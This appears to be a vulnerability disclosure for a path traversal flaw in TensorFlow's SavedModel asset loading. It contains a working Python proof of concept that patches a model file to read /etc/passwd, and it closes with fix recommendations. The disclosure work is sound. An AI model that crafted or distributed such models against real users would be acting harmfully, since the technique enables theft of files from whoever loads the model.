YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
TensorFlow SavedModel: AssetFileDef.filename Path Traversal PoC
Summary
The TensorFlow SavedModel loader constructs asset file paths by joining:
export_dir + "assets" + asset_file_def.filename
The filename field from the SavedModel protobuf is NOT sanitized for
path traversal sequences (../). An attacker can craft a SavedModel where
asset_file_def.filename contains ../../../../etc/passwd, causing the
loader to resolve the asset path outside the model directory.
Affected Code
C++ (TensorFlow Serving and C++ consumers):
AddAssetsTensorsToInputs()intensorflow/cc/saved_model/loader.cc- Uses
io::JoinPath(export_dir, kSavedModelAssetsDirectory, asset_file_def.filename())
Python:
get_asset_tensors()intensorflow/python/saved_model/loader_impl.py- Uses
os.path.join(assets_directory, asset_proto.filename)
Impact
When a victim loads an attacker-crafted SavedModel and invokes a signature that uses the asset path, the model can read arbitrary files accessible to the process. This is an exfiltration primitive.
Attack scenario:
- Attacker publishes a malicious SavedModel (e.g., on a model hub)
- Victim downloads and loads it with
tf.saved_model.load() - Victim calls a model signature (e.g.,
model.serve()) - The signature reads
/etc/passwd(or any target file) via the traversed asset path and returns its contents
Reproduction
import tensorflow as tf
import struct
# Step 1: Create a normal SavedModel with an asset
class M(tf.Module):
def __init__(self):
super().__init__()
self.asset = tf.saved_model.Asset('assets/placeholder.txt')
@tf.function(input_signature=[])
def serve(self):
return {'data': tf.io.read_file(self.asset.asset_path)}
m = M()
tf.saved_model.save(m, '/tmp/normal_model',
signatures={'serving_default': m.serve})
# Step 2: Patch saved_model.pb to change asset filename
# Replace 'placeholder.txt' with '../../../../etc/passwd'
import pathlib
pb_path = pathlib.Path('/tmp/normal_model/saved_model.pb')
data = pb_path.read_bytes()
data = data.replace(b'placeholder.txt', b'../../../../etc/passwd')
pb_path.write_bytes(data)
# Step 3: Load the patched model and invoke
model = tf.saved_model.load('/tmp/normal_model')
result = model.signatures['serving_default']()
print("Exfiltrated:", result['data'].numpy().decode())
# Expected: contents of /etc/passwd
Fix Recommendation
Sanitize AssetFileDef.filename before path joining:
- Reject filenames containing
..components - Reject absolute paths
- Reject paths with null bytes
- Use
os.path.realpath()and verify the result is withinassets_directory